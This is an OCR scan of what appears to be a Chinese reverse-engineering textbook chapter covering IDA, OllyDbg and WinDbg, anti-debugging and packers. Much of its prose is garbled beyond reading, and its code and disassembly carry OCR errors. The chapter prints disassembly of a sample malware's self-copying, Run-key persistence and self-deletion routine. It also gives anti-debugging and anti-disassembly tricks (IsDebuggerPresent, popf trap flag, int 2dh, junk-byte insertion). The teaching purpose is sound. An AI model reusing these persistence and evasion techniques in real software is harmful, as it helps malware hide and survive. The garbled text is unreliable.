UalueType = REG_SE

VNGV Fi3



.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
:00401412

.text

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
:0040143cC

.text

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
:00401461

.text

.text:

IDA

== VDY

o KK

I R BCERE M R AR LR B S IER, R IEA1 205K E— 1

004013E5
004013E7
004013E9
004013EF
004013F4
004013F8
004013F9
004013FB
00401401
00401403
00401407
00401408
0040140F
00401410

00401414
00401416
0040141A
0040141B
0040141D
0040141F
00401424
00401428
00401429
0040142B
0040142D
00401431
00401432
00401439
0040143A

00401440
00401443
00401443
00401443
00401445
00401446
00401448
0040144A
0040144cC
0040144D
00401451
00401452
00401457
0040145A
0040145F

00401467

ot R L NS, AR ZENR? b, XL EEAR [l
push. call. mov. lea ZFIEATR LMY BLI], 1E N IC AR KUl th 2 EL i 5 )

push 0 ; hwndOwner

call esi ; SHGetSpecialFolderPathA (x,x,x,x)
mov edi, ds: imp lstrcatA@s8

push offset String2 ; "\\O.exe"

lea edx, [esp+85Ch+Datal]

push edx ; lpStringl

call edi ; lstrcatA(x,x) ; lstrcatA(x,x)
mov ebx, ds: imp CopyFileA@12

push 0 ; bFailIfExists
lea eax, [esp+85Ch+Data]

push eax ; lpNewFileName
lea ecx, [esp+860h+ExistingFileName]
push ecx ; lpExistingFileName
call ebx ; CopyFileA (x,x,Xx)

push 0 ; fCreate

push 5 ; nFolder

lea edx, [esp+860h+Datal]

push edx ; lpszPath

push 0 ; hwndOwner

call esi ; SHGetSpecialFolderPathA (x,x,x,x)
push offset al exe ;o "\\1l.exe"

lea eax, [esp+85Ch+Data]

push eax ; lpStringl

call edi ; lstrcatA(x,x) ; lstrcatA(x,x)
push 0 ; bFailIfExists
lea ecx, [esp+85Ch+Datal]

push ecx ; lpNewFileName
lea edx, [esp+860h+ExistingFileName]
push edx ; lpExistingFileName
call ebx ; CopyFileA (x,x,Xx)

lea eax, [esp+858h+Datal]

lea edx, [eax+1]

loc 401443:

mov cl, [eax]

inc eax

test cl, cl

jnz short loc 401443

sub eax, edx

push eax ; cbData

lea eax, [esp+85Ch+Datal]

push eax ; lpData

call SetRegValue

add esp, 8

call SelfDelete

push 0 ; nExitCode

call ds: imp PostQuitMessage@4

Jjmp loc 40151F

=]
=

H

i JE 00401452 AL1F) SetRegValue BRELLL K 0040145A Ab1Y) SelfDelete BREL, B

V¥ sample_mal.exe (SetRegValue)

.text:00401310 ; int  cdecl SetRegValue (BYTE *1pData, DWORD cbData)



.text:00401310 SetRegValue proc near
.text:00401310

.text:00401310 dwDisposition = dword ptr -8
.text:00401310 hKey = dword ptr -4
.text:00401310 lpData = dword ptr 8
.text:00401310 cbDhata = dword ptr OCh
.text:00401310

.text:00401310 push ebp

.text:00401311 mov ebp, esp

.text:00401313 sub esp, 8

.text:00401316 push esi

.text:00401317 1lea eax, [ebptdwDisposition]
.text:0040131A push eax ; lpdwDisposition
.text:0040131B xor esi, esi

.text:0040131D lea ecx, [ebp+hKey]
.text:00401320 push ecx ; phkResult
.text:00401321 push esi ; lpSecurityAttributes
.text:00401322 push 0OF003Fh ; samDesired
.text:00401327 push esi ; dwOptions
.text:00401328 push offset Class ; 1lpClass
.text:0040132D push esi ; Reserved
.text:0040132E push offset SubKey ;
"Software\\Microsoft\\Windows\\CurrentVersi"...
.text:00401333 push 80000002h ; hKey
.text:00401338 mov [ebpthKey], esi
.text:0040133B call ds: 1imp RegCreateKeyExAQ36
.text:00401341 test eax, eax

.text:00401343 Jjnz short loc 401370
.text:00401345 mov edx, [ebp+cbData]
.text:00401348 mov eax, [ebp+lpData]
.text:0040134B mov ecx, [ebp+hKey]
.text:0040134E push edx ; cbData
.text:0040134F push eax ; lpData
.text:00401350 push 1 ; dwType
.text:00401352 push esi ; Reserved
.text:00401353 push offset ValueName ; "sample mal"
.text:00401358 push ecx ; hKey
.text:00401359 call ds: imp RegSetValueExA@24
.text:0040135F test eax, eax

.text:00401361 Jjnz short loc 401366
.text:00401363 lea esi, [eax+1]

.text:00401366

.text:00401366 loc 401366:

.text:00401366 mov edx, [ebpthKey]
.text:00401369 push edx ; hKey
.text:0040136A call ds: imp RegCloseKey@4
.text:00401370

.text:00401370 loc 401370:

.text:00401370 mov eax, esi

.text:00401372 pop esi

.text:00401373 mov esp, ebp

.text:00401375 pop ebp

.text:00401376 retn

V sample _mal.exe (SelfDelete)

.text:
.text:
.text:
.text:
.text:

00401220
00401220
00401220
00401220
00401220

SelfDelete proc near

Parameters byte ptr -20Ch
File = byte ptr -108h
dword ptr -4

var 4



.text:00401220
.text:00401220 push ebp

.text:00401221 mov ebp, esp

.text:00401223 sub esp, 20Ch ; lpStringl
.text:00401229 mov eax, _ security cookie
.text:0040122E xor eax, ebp

.text:00401230 mov [ebp+var 4], eax
.text:00401233 push 104h ; nSize
.text:00401238 1lea eax, [ebp+File]

.text:0040123E push eax ; lpFilename
.text:0040123F push 0 ; hModule
.text:00401241 call ds: imp GetModuleFileNameA@12
.text:00401247 test eax, eax

.text:00401249 jz loc 4012F3

.text:0040124F push 104h ; cchBuffer
.text:00401254 lea ecx, [ebp+File]

.text:0040125A push ecx ; lpszShortPath
.text:0040125B mov edx, ecx

.text:0040125D push edx ; lpszLongPath
.text:0040125E call ds: imp GetShortPathNameA@12
.text:00401264 test eax, eax

.text:00401266 Jz loc 4012F3

.text:0040126C push esi

.text:0040126D push offset aCDel ; "/c del ™
.text:00401272 lea eax, [ebp+Parameters]
.text:00401278 push eax ; lpStringl
.text:00401279 call ds: imp 1lstrcpyA@8
.text:0040127F mov esi, ds: imp 1lstrcatA@8
.text:00401285 lea ecx, [ebp+File]

.text:0040128B push ecx ; lpString2
.text:0040128C lea edx, [ebp+Parameters]
.text:00401292 push edx ; lpStringl
.text:00401293 call esi ; lstrcatA(x,x) ; lstrcatA(x,x)
.text:00401295 push offset aNul ;" >> NUL"
.text:0040129A lea eax, [ebpt+Parameters]
.text:004012A0 push eax ; lpStringl
.text:004012A1 call esi ; lstrcatA(x,x) ; lstrcatA(x,x)
.text:004012A3 push 104h ; nSize
.text:004012A8 lea ecx, [ebp+File]

.text:004012AE push ecx ; lpBuffer
.text:004012AF push offset Name ; "ComSpec"
.text:004012B4 call ds: imp GetEnvironmentVariableA@1l2
.text:004012BA pop esi

.text:004012BB test eax, eax

.text:004012BD Jjz short loc 4012F3
.text:004012BF push 0 ; nShowCmd
.text:004012C1 push 0 ; lpDirectory
.text:004012C3 1lea edx, [ebpt+Parameters]
.text:004012C9 push edx ; lpParameters
.text:004012CA lea eax, [ebp+File]

.text:004012D0 push eax ; lpFile
.text:004012D1 push 0 ; lpOperation
.text:004012D3 push 0 ; hwnd
.text:004012D5 call ds: imp ShellExecuteA@24
.text:004012DB cmp eax, 20h

.text:004012DE Jjle short loc 4012F3
.text:004012E0 mov eax, 1

.text:004012E5 mov ecx, [ebptvar 4]
.text:004012E8 =xor ecx, ebp

.text:004012EA call __security check cookie
.text:004012EF mov esp, ebp

.text:004012F1 pop ebp

.text:004012F2 retn
.text:004012F3
.text:004012F3 loc 4012F3:

.text:004012F3 mov ecx, [ebptvar 4]
.text:004012F6 xor ecx, ebp
.text:004012F8 xor eax, eax

.text:004012FA call __security check cookie



.text:004012FF mov esp, ebp
.text:00401301 pop ebp
.text:00401302 retn
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L, 2 Uy I 5 T BL RN AR RIS DT IR A0, AR R SRR A ST
G I, SBRED S S A TR
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Sk
cl

o NSAM

http://www .nasm.us/

o ALINK


http://www.nasm.us/

http://alink.sourceforge.net/download.html
A TR E — ™ 27~ Hello World! 2 PIE
TR ST R4 B B A asm

V¥ hello32.asm

extern MessageBoxA

section .text
global main

main:
push dword 0
push dword title
push dword text
push dword 0O
call MessageBoxA
ret

section .data
title: db 'MessageBox', 0
text: db 'Hello World!', O

MessageBoxA T2 LA T 4 NS4

K2 FA
8

7% 1 9 A R
0 5% 19 S RE 2K

KT API R4S &, T KEAE MSDN (Microsoft Developer Network) 82,

MessageBox

https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505.aspx

R Windows API JEA I gaie 5 HOA T 4, HIRATIAELE Windows IAEE R 34T
W, BRHAS ) e e 8 ] Windows APT, K 5% 413 2= W8 B 25 WIAH 5= Bk nl LL T

B THAE K7 2 s — M AT EHE, IS 1. 4 DS HUH 0 sl B T .



http://alink.sourceforge.net/download.html
https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505.aspx

PR R LR 0 R

LR/ Hello World!
LR IR B HEAR . MessageBox
Wt 2 Bt OIS AT 00 R 5 N A
| call MessageBoxA i T £4 %1
NN KIBITER .
G, H NASM N b -fwin32 ZECEARIEI 26 4 .obj SCAHS
SRJ5 > H ALINK A2 ] $07 3C4F
I A AT AT SO G, B LN %4 7R Generating PE file hello32.exe.

\EEAEN!

C:\>nasm -fwin32 hello32.asm

C:\>alink -oPE hello32 win32.1lib -entry main
)

s

Generating PE file hello32.exe

APAT IO E R G, BEXGHEM AT LS T T, XN ENZS RN EE
Hello World! 17H EAHE



DXARL,

011yDbg - hello32.exe — [CPU - main thread, module hello3?]

File '.l'iew ﬂe‘bug Plugins [lp_liinms ﬂindow Help

AR481paE PUSH @ Stule = MH,I E_AF
poanion2|| . 68 pE2E408E | PUSH helloBE BR4G2660 Tit l : HEES&QEBDH
fRdaiaa’ || . 60 BE2G48808 | PUSH hello32, 08462006 Teut = Hello Wor ld™
Badataac)| . &R B8 PUSH @ hOwner = NULL

Mess geE +A

OGA48180E|] » ES EDIFBBAE | CALL <JMP.f%user3z.MessageBoxR>
padpiaisIb, C8 RETH
BEda1614 5] 0B 6&
gagtals| 9 Dg 8

section . text
‘global main
main:

push dword 0
push dword title

" push dword text
@ﬁ?ﬁ@ﬁi push dword 0

call MessageBoxA

Address

AG4B2000 61 67 65 42 L

M4 E2EIRE 65 6C 8L &F

HadE2E1E)| 28 57 f"F el 64 21 Hd section . data

BR4E2E12| B8 B8 BB A0 BB B0 B0 B8 .. ...... . . ,
ARARIAIR| AR AR @G AR @A AR A title: db MESSEEBBOX . 0

text: db "Hello World!", 0

A /] OllyDbg §] /T hello32.exe
TIHFRATTH OllyDbg k4T IFNINI A B ¥ hello32.exe, FT IG5 Ha Bl MME R

o BRI gn T 1 o MR FRATT 40 5 17 g 45 2
ERNTHRANAAED: B sectiondata 2 J5 A7 B 2P

Egﬁﬁﬁﬁﬁﬁéﬁ BEAT K push 454, A R IR O R gies s AT

)5, HHAT call MessageBoxA I, i Faiss W il BAE T .
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S 2 AT AT 04T, DI Bl At — 3R SR BEYS 35 B A I v vt i
P AR B /L, 5y — D75 T RES FH R T R AR

“PWifE” (cracking) IXANIA A X143 5632, AEWFRR AR SR n] USRS R, 491 G e X 2% 37
MBS BRI EE (IBSAAE) A E SR, BE BRI A E RS EATERAEE T,
g%%mﬁﬁﬁiﬁ%ﬁ%%ﬁi,mmﬁﬁ%ﬁﬁm§,u&@@%%%@%@%%ﬁi
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FEBEIEAS b, ASFEPATHG 5 S W] ORG R AN A o



2.1 fRIEWNAL A
2.1.1 Sk v AR 1 R )

HETRATRE — D7l k. 1 KKIE4T chap02\shooting '] shooting.exe

M zhooting

SCORE: 0029  ENERGY: 0000

A S i Rk
XA AR AR o

ARG S

—t: [0 L )

-t WAL

THE: HzeREE (BLAATR 04 LD

o B IFIEMEIE (VHZRAEED

WA, MR s, XSRS il p— A —FE



a2 bR T AR e LRI TRl 45 L R Pk e
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#include <stdio.h>

int main ()

{
char *p = NULL;
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return 0;
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o E
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Cloze Current Windom Cirl+F4
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Attach to a Process.. Fi
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File  Edit Miew Debug Windaw  Help
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Microsoft (R) Windows Debugger Version &.11.0001.404 X886
Copyright (o) Microsoft Corporation. All rights ressrved.

Tzer Mini Dump File: Only registers. s=taclk and portions of memory are awvaililable
Comment : 'Dr. Watson generated Hinilump'

Executable search path i=:

Windows XP Version 2600 (Service Pack 3) UF Free =86 compatible

Product: WinHt, =uite: Singlel=z=erTS

Machine Hame:

Debug =se==sion time: Wed Jul 4 07:33:45 000 2012 (GMT+9)

Sy=ztem Uptime: not awvailable

Process Uptime: 0 day= 0:00:05.000

Thi= dump file ha= an exception of intersest stored in it.

The stored exception information can be accessed wvia .ecs=r.

(fed bdc): Access violation — code 0000005 (firstssecond chance not awailable)
eax=00000000 ebz=00000000 ecx=7c94f{66l =dx=00000041 ==i=00000001 =di=0012f958

ﬁ&mﬁm@@mjwﬁwwﬁEJIII@ID-@LWﬂA

Loading Dump File [C:»Documents and Settings~All Users-Application Data~Microsof t>Dr

Svymbol ==arch path is: SEV#*c:~websvmbols*http: - ~m=dl  microszoft  comsdowvnload-symbol=

eip=00000000 e=sp=0012f828 =bp=0012f8f0 iopl=0 nv up 21 pl =r na pe nc
c==001b ===0023 d==0023 e==0023 f==003b g==0000 ef1=00000246
gooooooo e e

ii 11} li
0: DDD>|

Ln 0, Gaol 0| Svs 0:G¥0ocu | Proc 000464 | Thed 000bde | A5k | OWE | CAFS T BLIRM

A ] WinDbg +] JF#4if SC A4 2
WinDbg HARFE LKA KIS, (H5Lhr LHEGE —Aa47 LR, Boyekk

¥ NP3 iU

mv@E%ﬁﬁﬁﬁm I AT OllyDbg #HLEE, XTI Kt X B 2R, A — L

SUAREAE A WinDbg SKuEAT I, F1U 64 A7 FEF LIS AT AR N AZ U AR 745

B'Eiﬁfﬂz% o
F—IRAhZ )G RAE 4 Command % 1, M View SEEpa] DA /R 20 &
PAVE R B IR HANAD T 1, %L PR AR

e Alt+6: 'T.7~ Call Stack CF %) %O

o Alt+7: 27N Disassembly (V%) % [

, B RE



Faw ares |Funz info Source  Addrz  Headingz  Monvolatile rees Frame nums Source args

More Less

WARHNING: Frame IFP not in any known modules.

00401290 0012£91c 77cf87324 0=0
goobol44 000001131

00401290 000b0144 00000111 userd2!InternalCallWinProc+0x28
0ooooonn 00401290 000BO144 u=zeri?|UzerCallDlgProcCheckWow+lxlds
0ooooooo 00000111 00000001 u=eridd!|DefDlgProcilorker+0xzat
000bO144 00000111 00000001 u=ser32lDefDlgProcW+0x22

77d03d3a 000b0144 00000111 user3dZ2linternalCallWinProc+0=x23
Qoooooon 7?7do3d3a 000b0144 userid2!UserCal lWinProcCheckWow+0=x150
00ealffd 00660448 00000001 userii!|SendMeszzagelWorker+0zdab
000b0144 00000111 00000001 u=seriilSendHessagel+0x7f

00622340 00000000 00622340 userid!zzzButtonNotifvParent+0=z4l
0016527 00000001 00000000 u=zeridd|zExBHReleaszeCapture+ixzf3d
00622340 00000202 00000000 userdZ2!|ButtonWndProcWorker+0x6df
0005020z 00000202 00000000 userid?!|ButtonWndProcl+0z4c

77d051d1 0005020c 00000202 user3dZ2linternalCallWinProc+0=x23
Qoooooon 7?74d051dl 0005020c userd2!|UserCal lWinProcCheckWow+0=x150
0012fcfd 00000000 001Z2fcde user3dZ!DispatchMesszageWorker+0=z306
0012f=f8 00000000 D06alffl u=serii!|DiszpatchMesszageW+0xf

000b0144 00ga2340 001e0152 userii!lIsDialoglessageW+0=x572
000b0144 001=0152 00000001 userid2lDialogBox2+0x144

A Call Stack & I

Offzet: |@S=copelp

Following frames mavy be wrong.

& Dizassembly — Dump G:¥Documents and Settines¥all Users¥Application Data¥Hicrusuft?ﬁ |E||?|

Presviousz Mext

Ho prior disass=embly possible

oooooool

gooooonz Y
gooooooz 77 e
gooooood 77 e
gooooons 77 e
oooooooe 77 e
gooooooy? 7R e
goooooog 77 e
goooooos 7R e
ooooooda Y Y
gooooook 77 e
gooooone 77 e
gooooood 77 e
oooooone 77 e
goooooog 7R e
goooooig 77 e
goooooil 7w e
goooooiz Y
goooooiz 77 e
oooooolid 7w e
goooools 77 e
oooooole 77 e
ooooooxy? 7w e

A Disassembly % [

Pk FE — T Disassembly & I,

X AR N Z Bos B I gm 2 Ja S, {HdF EIP {E A 00000000, R ERAE A

HEI) 5, X IR, BB 2 T 00000000 1X AN

W



N TAGEW— R B FE . M Call Stack & H P FAT 0] DLE 2K FE—4T .
V 745 R

0012£8f0 77c£f8734 000b0144 00000111 00000001 guitest2+0x12d0

MiiiX—4T, 5% — | Disassembly & 1, X< EsH guitest2+0x12d0 Hhk 1) P %%,

004012b7 6844214000 push offset guitest2+0x2144 (00402144)
004012bc ££1500204000 call dword ptr [guitest2+0x2000

(00402000) 1]

004012c2 6860214000 push offset guitest2+0x2160 (00402160)
004012c7 50 push eax

004012c8 ££1504204000 call dword ptr [guitest2+0x2004
(00402004) 1]

004012ce ££d0 call eax

004012d0 8b4do8 mov ecx,dword ptr [ebp+8] BATIE IR
004012d3 0fb7c6 movzx eax,si

MR P HBAE 2 004012d0, FRATE— FEF—45F5% call eax, 1% Alt+d o] A F A7)
1H,

eax ZFAT 2L E B4R S 00000000, Hmk 230, 004012ce [f1i%x 4% call eax 3528 FH T 00000000
XAHEHE, BoRIXE ST K R i R K]

Hiht 004012¢8 A PAT T —45% call 8%, HTRIFMESFHAE eax H, KIFLIRATTAT DA
M, eax [ 00000000 F& MIX H 1.

Mo, XEFHPRAT AREE? ¥ Alt+5 F1IT Memory (WAF) & I, 7EE7~ Virtual 1]
Hh 77 %5 N <00402004”,

\ X RN (]l

Virtual: 00402004



Huhl 00402004 115 A 04 24 00 00 (=00002404) .

X WoRPE AR TR W =, IERATHRI A 00400000+2404=00402404, X}
2RI R LR, B GetProcAddress.

\EEEN

Virtual: 00402404
00402404 45 02 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00
G e t P r o ¢c A d d r e s s

e AHFI N B, A TETTLLE — FHbhk 004012be T call R R E 24 o

\EEAwN

Virtual: 00402000
00402000 £4 23 00 00 04 24 00 00 00 28 00 00 ea 27 00 00 da 27

\ X RN/l

Virtual: 004023f4
004023f4 3f 03 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 45 02
L o a d L i b r a r y W

& FORIATAE Memory T LRGN N IR LE R BT AL (I 28, BLAETRAT Al ELRF I (1)
B gAY B 1 B 2 T R P

004012b7 6844214000 push "kernel3l.d1ll"
004012bc ££1500204000 call LoadLibraryWw
004012c2 6860214000 push "GetCurrentProcessId"

004012c7 50 push eax

004012c8 ££1504204000 call GetProcAddress

004012ce f££fdO call eax

004012d0 8b4d08 mov ecx,dword ptr [ebp+8] Ii&fT{5 kAL

004012d3 0fb7c6 movzx eax,si



MAEE R RER M T, i H RN AL &I T bug A,

LoadLibraryW pREIZECN kernel31.dll, {HEEPR ARG RA kernel31.dll iX 4> DLL (A,
A LoadLibraryW pRECS T FH 2RI

FX HFE R IE %A v, {HJE1H Y GetProcAddress BRI 2 1# F U,
B )5, KM GetProcAddress BRZUR[F] T 00000000, T4 call eax B HERERL S &1L T o

Al e NS A X AR P AR A %) LoadLibraryW IR [MMEMCZR AT ACEE, 1y H ARG A&
I8 kernel31.dll iIX PR A 1%« XAFE P H AR, BT U KRR H .

B _LHXHFE, W Hrefit SCff, AT DLk 31— 2 T 20 AN R ) I R RS T 1
TR BTSN, A H AL VRN & BIE AT R s a] BLIEAT 0 i g
% Windows. Linux. Mac OS X &5 — B T EE R G 88 H A& WA Fe A R S5 55 )
AT AT DB . IXEETREAKE N T I AT R IIRCR, 58, FIH XL qE
W, B84 S HAh — L 5 i IR 1 H 1
Mo, BrTANHERLAN, HA NS LRSS e g 2
b vt 2 e AL AR ML L BEAS BEIEAT FALF 23 H W 2

MR, (BRI  FIF RIS AT B, ) s R AL I R, R
RV, IR SR AR A LN BEAT A I X3 o

WA, BRI & HEARIFAGA NI —FEA T, BRI B ARSI RR LR 2K
FER AT AT X AP F G D W S b, IS A AT T I 2 e AR B
Ae, BAANATFEARK R vk, R IEAMGA N —FERE O BTk 2R1M, X
YOG 8 B AL B SS (CPU) , IXSBALBESE HAR B BEE AT  gmtse 2, Rt R 15 70
VX AT I g ISR N AR e fili, B2kl DABEAT 2047 T .

H—NE devkitPro 1M uh EAIR 2 50 M & PR ML Z 18, AT T kAl 7 — 4k
T T RAES . XA seiE 1, AXEREE T UL LR E —F .
° devKkitPro

http://devkitpro.org/

LR 8T Java 40 'S 16 N FH FE P


http://devkitpro.org/

Java JJT K P52 “Write once, run anywhere”, BV AHGGERVE RGAENE, 9SG
LA DAE SR & Liatr. O TS — B, Java RA T FHISOR.

. FEGPEI, PRACHS S B2 Gn PE 71 RS R B 0 b ) 5 =)

. N 25 bR 858 73 ) 2 208 BE M8 AR RE RN EAAT 7 715 6 1) R AU AL
HEAT Java BN, R ml ol AEAET AT M e T——IXHie Java BB /i
K, X Java 9 S IREFPREAT 08, SEBs EAN = 1% Java (5 5 3EA T 04
AT R BRI I8 JeU AR, IR T B RO [ 4 e (decompiler) o

. Java [ 9 15 2%
http://java.decompiler.free.fr/

L x86 JLZwifi 5 KL, Java 79 AY B 7 ik JoUS AR, AR Sl A B L 2
A Eclipse 84T SV gaddifF, B T80T LLAE, I IRZ G 2.

@ Java Decompiler - dentakud_class

Eile  Edit Mavigate Search Help

= dentakud.class | ¥
i B (@ dentakud J I
: ‘o 58 errDizp(String) : vaid @import java.io.Printicrean; o
"o @5 main(StrineD) : void
[ id-gui-0.3 Bwindows zip class dentakud
e [] id-euicte { =
- D jd-euiexe public static void =mziz(3cring[] args)
{
4 int wall = 0; —
3] int walz = 0;
g if (args.lemgth '= 3] {
10 errDisp("s |[EIISDLETE )
h
try
i
14 wall Integer. parselint(args[0]):

15 walz Integer. parselintiargs[2]):
} catch [(MunberFormatException ) {
17 errlisp("BIETEEIFEA")
h
20 String ope = args[l]: e
| | l|

A class SCF I [ g &5


http://java.decompiler.free.fr/

2.2 GAn] 5 1 BB N 4 BT
221 RIFREA

RYEAETT R I AR IREA N B 177K TARZAEA], (B A KA 2 Ja Bedi T al ASKARR N
Koo M H, B LEMGEAIRI AT, B8 SRR, a1 R A DI A g0 N A
TTH, ARG A G T RERELILER T

HIRZ AR T AR IR g 8 ) TR, B AT E H P 1 LA
s HIK ) —Fh SRR E AR & IsDebuggerPresents.

IsDebuggerPresent s&—FEEBE A& 5 44 T R85 19 APT pR %L, 1R [PMEZ N 0 Al LA
W AS RO

#include <Windows.h>
#include <stdio.h>

int main ()
{
if (IsDebuggerPresent ()) {
// TEWRRE LisfT
printf ("on debugger\n");
telse(
// RS EAEAT
printf ("not on debugger\n");
}
getchar () ;
return 0;

WA BAETF I T AR, AR R An 2 Ja B 1w, X — R BEE WA R . AT BAE
TR ifdef BUEVERCKEIIN 28 H] IsDebuggerPresent FJUH A, 76 & ATRN LA R, ZERN
B 2 I R R 7 1) 12

Rtz A A HAh — 282D APL 925, 41 CheckRemoteDebuggerPresent.

BOOL WINAPI CheckRemoteDebuggerPresent (
~In_ HANDLE hProcess,
_Inout  PBOOL pbDebuggerPresent

)

LRt AR 1 g B 2% BTk



2T APL BRELUSE, AT IR 2 HABSRA BRG] TR e, AR 2 AR AT
B, NHEBEADK R R

H A H] popf A1 SINGLE_STEP J7 i AT Ml 4 1 Uik IR [BE Y 0 I A IR,
AL W73 T g . NI 2T A IR B, KR RER 1 ?

__declspec(naked) int _ stdcall antidebuggerl (void)
{
__asm{
pushad
push ok
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
mov buff, esp
push 100h Fpush¥100n A4k
popf Hpop¥100nH i 2 hrE
jmp error
ok:
mov esp, buff
pop dword ptr fs:[0]
add esp, 4
popad
XOr eax, eax
ret
error:
mov esp, buff
pop dword ptr fs:[0]

add esp, 4
popad

XOr eax, eax
inc eax

ret

A PR 7, H B2 int 2dh.

__declspec(naked) int _ stdcall antidebugger2 (void)
{
__asm{
pushad
push ok
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
mov buff, esp
XOr eax, eax
int 2dh #fTint 2dn
jmp error
ok:
mov esp, buff
pop dword ptr fs:[0]
add esp, 4
popad
XOr eax, eax
ret
error:
mov esp, buff



pop dword ptr fs:[0]
add esp, 4

popad

XOr eax, eax

inc eax

ret

AE—#F, R0 4IER, R 1 & iEd TR,

TEILSY BOARME 7] K KR U R AR B FAR S5, PR AT BT H U2 e = Bk,
BRRZG IR, 7] DL W8 2K “anti- debug popf” Fl*“anti-debug int2d”ixX P> B 1]

2.2.2  E AR W SR B Ik AT

BB SR ESEARAR AHISRH R g g AT ERS b, BRI AR ()
i IsDebuggerPresent [ /7)) , ] LA S it

00401000 main proc near

00401000 call ds: imp IsDebuggerPresent@0 {5
00401006 test eax, eax

00401008 jz short loc 401021

0040100A push offset aOnDebugger ; "on debugger\n"
0040100F call ds: imp printf

00401015 add esp, 4

00401018 call ds: imp getchar

0040101E XOr eax, eax

00401020 retn

00401021 loc 401021:

00401021 push offset aNotOnDebugger ; "not on debugger\n"
00401026 call ds: imp printf

0040102C add esp, 4

0040102F call ds: imp getchar

00401035 XOor eax, eax

00401037 retn

BIAEAL ] T IXEe e kAR, il DA WAl a)l LBEAT 0 04 SO . 29K, T a8 A
FEFP T ST AR ERES R RENS TR BRI T o R 2 4

%{A AT B LEACRS AL AT e ? A — Bl iR RO IRE ™, WAL S, Wi AR AR AT Ak L
;ﬁ%o

N EEATIRE MR R T

W H IsDebuggerPresent [1)#54), HALZSTE L4 FF 15 00 20 40 00 85 CO 74 17 (F L3 jz



00401000 main proc near

00401000 FF 15 00 20 40 00 call ds: imp IsDebuggerPresent@0
00401006 85 CO test eax, eax

00401008 74 17 jz short loc 401021

X, R RMAERTHEIn—4 EB, RI4%E EB FF 15 00 20 40 00 85 C0 74 17, 7 IDA iz}
7~ AR Bt & AR B THIXFE .

00401000 main:

00401000 EB FF jmp short near ptr main+l
00401002 15 00 20 40 00 adc eax, offset imp
IsDebuggerPresent@0

00401007 85 CO test eax, eax

00401009 74 17 jz short loc 401022

FATTULES], XHEAESZMT jmp. ade. test. jz, 11 call EIHAT, RIMIXENLZ
B S SR IRe I E KA, 8 EB FF A4 T mardki%E 1| D2, Wl 23
00401001,

1M 00401001 J5 M IHLESIE S ALK FF 15 00 20 40 00 85 CO 74 17, XEACE I 515
PIPIFR LA calls tests jz, PRI call HCARBEWE FH HUAT .

XL ICHE KiAET 00401001 ALY FF, & m] LLAAERTI jmp $5-H—385), Ba] USRS
call 81— #7011 IDA < NHIAE G MU REAT Bl g, DAL e 7 Y A A QL) mT e TSI o
AT A AR o
SERE BRI TR o

Tt AU IR I AH OC O

o R AT I SR EA, 39 ) TRE BB A AR B P sz e SR A TR VE RO T

FAMRRITE T, M B R TIRZH 5688 3

o Obfuscation of executable code to improve resistance to static disassembly.

http://www.cs.arizona.edu/solar/papers/CCS2003.pdf



http://www.cs.arizona.edu/solar/papers/CCS2003.pdf

o Binary Obfuscation Using Signals.

https://www.cs.arizona.edu/solar/papers/obf-signal.pdf

RGN AR HRAE 2 By B e I R Pl (tamper resistance) , IXAFR TR A
QU AR A AR AT AH DR F AT

“dpdafr P45 B 24
“TERERBOT RE SEIL M PR U E R R S

IXEEH IS TR 2 A U R PR, AR A AR Bk, <l O PAS R 24 2
—ARAHE I [7] 7L

2.2.3 B PAT SO REAT s 4

bR T SO RGN, AT LR BT A TR BRI, AT FRRORRES RS n] A
AP SCAFREAT i, T4 e 45 B R SRR al DL E BRI2 AT .

RIS (packer) , ST 40— 34T @AIE UPX, &2 TN,
Y4 ELF. DLL. COFF 25 Z i 4147 S H k.
o UPX

http://upx.sourceforge.net/

FI AL R B R R o) B, e B SR A n FA T SO AR AN B b 3647 s g, A8 e R A s 4
PIACHS B INAERT T, IS AT I S JE AR 1) v B AT B i 4 ok, AR5 PRI AT s 40 J5 11
. UPX a2 ds F 2wt

B LT R H A IS, TR SOk (BRI TR o Bl LT+ Wit iy
P2P APy A AT Winny2 s AE ] T —Fhnd 4 ASPack (4T 4%

2 Winny FEA FRAE AT, JRBRBIRY, S2LA MR FHN I TH4UH Winny W H ARG Flil. — &0

o ASPack

http://www.aspack.con/

MEAEC BB, Winny FUIEAE A2 S SR R 2R 1, DI 7Tk
P (B 3di ) TR (1T B

BEAh, DIAERITT B s R A AR AL By 130 ) TAR R T RE,  PRIHAR 2 5 e o o 1
TS, H R SR AT R A A iad e (ol 2 e B 5 IR ERS)


https://www.cs.arizona.edu/solar/papers/obf-signal.pdf
http://upx.sourceforge.net/
http://www.aspack.com/

> T A RS AE 2 KRR T 3% v a9 B A M 2
HIT RS Z E e e m 2 /00e ? M IAEIRA TR SE bRk — T .
B, A E T IXBREY AT chap02\packed\packed)

V packed.cpp

#include <Windows.h>
#include <stdio.h>

int main(int argc, char *argv([])
{
if(argc < 2){
fprintf (stderr, "S$packed.exe <password>\n");
return 1;
}
if (IsDebuggerPresent ()) {
// RS BisAT
printf ("on debugger\n");
return -1;
telse(

// PR EANEAT

if (strcmp (argv[l], "xxxxxxxxx") == 0) {
printf ("correct!\n");

telse(

printf ("auth error\n");
return -1;
}
}

getchar();
return 0;
}
XA FE P AR ] R

6 e 2 H IsDebuggerPresent A7 iR 28 J& 7547 £F

RIG, WRAEFPEBENISEN xoxxxxxx XN ELFH, WES  correct!, FME 7~  auth
error.

A X B AR, AR JE ] IDA KRE— T

V packed.exe

00401000 main proc near
00401000 arg 0 = dword ptr 8
00401000 arg 4 = dword ptr OCh

00401000 push ebp
00401001 mov ebp, esp
00401003 cmp [ebp+targ 0], 2

00401007 jge short loc 401028



00401009 push offset "$packed.exe <password>\n"

0040100E call ds: imp  iob func
00401014 add eax, 40h

00401017 push eax ; FILE *
00401018 call ds: imp fprintf
0040101E add esp, 8

00401021 mov eax, 1

00401026 pop ebp

00401027 retn

00401028 loc 401028:

00401028 call ds: imp IsDebuggerPresent@O
0040102E test eax, eax

00401030 jz short loc 401045
